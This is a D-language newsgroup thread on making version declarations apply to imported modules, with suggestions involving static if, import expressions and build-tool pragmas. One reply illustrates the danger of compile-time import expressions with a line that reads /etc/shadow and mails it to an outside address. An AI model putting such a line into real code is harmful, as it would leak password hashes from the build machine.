www.digitalmars.com         C & C++   DMDScript  

digitalmars.D.learn - Setting versions for imports

reply Jascha Wetzel <firstname mainia.de> writes:
Suppose we have two modules test1 and test2:

module test1;
version(asdf) {}
else { static assert(0); }

module test2;
version = asdf;
import test1;

This won't compile. Is there a way to get the intended behavior without 
passing the versions on the command line?
Oct 02 2007
next sibling parent reply div0 <div0 users.sourceforge.net> writes:
Jascha Wetzel wrote:
 Suppose we have two modules test1 and test2:
 
 module test1;
 version(asdf) {}
 else { static assert(0); }
 
 module test2;
 version = asdf;
 import test1;
 
 This won't compile. Is there a way to get the intended behavior without 
 passing the versions on the command line?
no. version declarations only apply to the module in which they are declared. http://www.digitalmars.com/d/version.html so you can't use a module as a config.h in that way besides what's wrong with passing them on the commandline? If you really want to go that way, you could use static if's to achieve something similar I guess. config.d ======== const char[] myVersion = "someVer"; some.d ====== static if( myVersion == "someVer" ) { // someVer } else // bail static assert(0);
Oct 02 2007
parent reply Jascha Wetzel <firstname mainia.de> writes:
div0 wrote:
 so you can't use a module as a config.h in that way
 
 besides what's wrong with passing them on the commandline?
it is inconvenient for some applications. the specs actually give such an example: version (ProfessionalEdition) { version = FeatureA; version = FeatureB; version = FeatureC; } version (HomeEdition) { version = FeatureA; } you wouldn't want to specify that on the command line, and you wouldn't want to duplicate that in each module that needs the distinction.
 If you really want to go that way, you could use static if's to achieve 
 something similar I guess.
that does work for config imports, but not for the example where the version of a module shall be set by the importing module.
Oct 02 2007
parent reply div0 <div0 users.sourceforge.net> writes:
Jascha Wetzel wrote:
 div0 wrote:
 so you can't use a module as a config.h in that way

 besides what's wrong with passing them on the commandline?
it is inconvenient for some applications. the specs actually give such an example: version (ProfessionalEdition) { version = FeatureA; version = FeatureB; version = FeatureC; } version (HomeEdition) { version = FeatureA; } you wouldn't want to specify that on the command line, and you wouldn't want to duplicate that in each module that needs the distinction.
 If you really want to go that way, you could use static if's to 
 achieve something similar I guess.
that does work for config imports, but not for the example where the version of a module shall be set by the importing module.
Oh I see what you're getting at. No you can't do that because it's a bad idea. Each .d file needs to be individually compilable. You couldn't do that if a file needs to be included (imported) by some other file in order to make sense. You can achieve the same result by reordering your imports. The same applies with c++. #define SOME_DEFINE #include "somefile.hpp" void func() { somefile::function( 42 ); } so ok the SOME_DEFINE can affect the contents of somefile.hpp, but it won't have any effect on somefile.cpp
Oct 02 2007
next sibling parent reply Bill Baxter <dnewsgroup billbaxter.com> writes:
div0 wrote:
 Jascha Wetzel wrote:
 div0 wrote:
 so you can't use a module as a config.h in that way

 besides what's wrong with passing them on the commandline?
it is inconvenient for some applications. the specs actually give such an example: version (ProfessionalEdition) { version = FeatureA; version = FeatureB; version = FeatureC; } version (HomeEdition) { version = FeatureA; } you wouldn't want to specify that on the command line, and you wouldn't want to duplicate that in each module that needs the distinction.
 If you really want to go that way, you could use static if's to 
 achieve something similar I guess.
that does work for config imports, but not for the example where the version of a module shall be set by the importing module.
Oh I see what you're getting at. No you can't do that because it's a bad idea. Each .d file needs to be individually compilable. You couldn't do that if a file needs to be included (imported) by some other file in order to make sense. You can achieve the same result by reordering your imports. The same applies with c++. #define SOME_DEFINE #include "somefile.hpp" void func() { somefile::function( 42 ); } so ok the SOME_DEFINE can affect the contents of somefile.hpp, but it won't have any effect on somefile.cpp
There is that import expression thingy: --- module.d --- mixin( import("config.d") ); ... --- config.d --- version (ProfessionalEdition) { version = FeatureA; version = FeatureB; version = FeatureC; } version (HomeEdition) { version = FeatureA; } But I think you have to give the compiler some switch to tell it it's ok to use an import expression. For "safety". --bb
Oct 02 2007
parent reply BCS <ao pathlink.com> writes:
Reply to Bill,

 div0 wrote:
 
 Jascha Wetzel wrote:
 
 div0 wrote:
 
 so you can't use a module as a config.h in that way
 
 besides what's wrong with passing them on the commandline?
 
it is inconvenient for some applications. the specs actually give such an example: version (ProfessionalEdition) { version = FeatureA; version = FeatureB; version = FeatureC; } version (HomeEdition) { version = FeatureA; } you wouldn't want to specify that on the command line, and you wouldn't want to duplicate that in each module that needs the distinction.
 If you really want to go that way, you could use static if's to
 achieve something similar I guess.
 
that does work for config imports, but not for the example where the version of a module shall be set by the importing module.
Oh I see what you're getting at. No you can't do that because it's a bad idea. Each .d file needs to be individually compilable. You couldn't do that if a file needs to be included (imported) by some other file in order to make sense. You can achieve the same result by reordering your imports. The same applies with c++. #define SOME_DEFINE #include "somefile.hpp" void func() { somefile::function( 42 ); } so ok the SOME_DEFINE can affect the contents of somefile.hpp, but it won't have any effect on somefile.cpp
There is that import expression thingy: --- module.d --- mixin( import("config.d") ); ... --- config.d --- version (ProfessionalEdition) { version = FeatureA; version = FeatureB; version = FeatureC; } version (HomeEdition) { version = FeatureA; } But I think you have to give the compiler some switch to tell it it's ok to use an import expression. For "safety". --bb
there is, just imagin what would happen if this were allowed: SendMail(import("/etc/shadow"), "harker gmail.com"); // now, how to get them to build this as root??
Oct 02 2007
parent Bill Baxter <dnewsgroup billbaxter.com> writes:
BCS wrote:
 Reply to Bill,
 
 div0 wrote:

 Jascha Wetzel wrote:

 div0 wrote:

 so you can't use a module as a config.h in that way

 besides what's wrong with passing them on the commandline?
it is inconvenient for some applications. the specs actually give such an example: version (ProfessionalEdition) { version = FeatureA; version = FeatureB; version = FeatureC; } version (HomeEdition) { version = FeatureA; } you wouldn't want to specify that on the command line, and you wouldn't want to duplicate that in each module that needs the distinction.
 If you really want to go that way, you could use static if's to
 achieve something similar I guess.
that does work for config imports, but not for the example where the version of a module shall be set by the importing module.
Oh I see what you're getting at. No you can't do that because it's a bad idea. Each .d file needs to be individually compilable. You couldn't do that if a file needs to be included (imported) by some other file in order to make sense. You can achieve the same result by reordering your imports. The same applies with c++. #define SOME_DEFINE #include "somefile.hpp" void func() { somefile::function( 42 ); } so ok the SOME_DEFINE can affect the contents of somefile.hpp, but it won't have any effect on somefile.cpp
There is that import expression thingy: --- module.d --- mixin( import("config.d") ); ... --- config.d --- version (ProfessionalEdition) { version = FeatureA; version = FeatureB; version = FeatureC; } version (HomeEdition) { version = FeatureA; } But I think you have to give the compiler some switch to tell it it's ok to use an import expression. For "safety". --bb
there is, just imagin what would happen if this were allowed: SendMail(import("/etc/shadow"), "harker gmail.com"); // now, how to get them to build this as root??
Yeh, I'm just not convinced it's any more dangerous than a lot of other programs. You have to get someone with root privilege to run something for you with your input as root *and* send you the output. --bb
Oct 02 2007
prev sibling parent Jascha Wetzel <firstname mainia.de> writes:
div0 wrote:
 Oh I see what you're getting at.
 No you can't do that because it's a bad idea.
 
 Each .d file needs to be individually compilable.
 
 You couldn't do that if a file needs to be included (imported) by some 
 other file in order to make sense.
this wouldn't make the import not make sense without the importer. since i'm only talking about versions this only means, that there is something like a pragma that forces command line switches from within the code. this would of course only work as i intend to use it, if importer and import are built with one compiler call, but since -version command line switches are only guaranteed to be consistent within the same compiler call as well, that wouldn't make a difference.
Oct 02 2007
prev sibling parent reply Derek Parnell <derek psych.ward> writes:
On Tue, 02 Oct 2007 16:47:01 +0200, Jascha Wetzel wrote:

 Suppose we have two modules test1 and test2:
 
 module test1;
 version(asdf) {}
 else { static assert(0); }
 
 module test2;
 version = asdf;
 import test1;
 
 This won't compile. Is there a way to get the intended behavior without 
 passing the versions on the command line?
The 'Bud' utility has some help for you. It supports a pragma that ensures the 'version' gets passed to al files being compiled. In any of the files to be compiled you have something like ... version(build) pragma(export_version, asdf); and Bud causes "version=asdf" to be placed on the command line for you. I'm not sure if Rebuild has a similar functionality, but I wouldn't be surprised if it did. -- Derek Parnell Melbourne, Australia skype: derek.j.parnell
Oct 02 2007
parent Jascha Wetzel <firstname mainia.de> writes:
Derek Parnell wrote:
 The 'Bud' utility has some help for you. It supports a pragma that ensures
 the 'version' gets passed to al files being compiled.
 
 In any of the files to be compiled you have something like ...
 
   version(build) pragma(export_version, asdf);
 
 and Bud causes "version=asdf" to be placed on the command line for you.
 
 I'm not sure if Rebuild has a similar functionality, but I wouldn't be
 surprised if it did.
uh, both have this feature. for some reason i didn't bother to check the build tools. thanks for that hint.
Oct 02 2007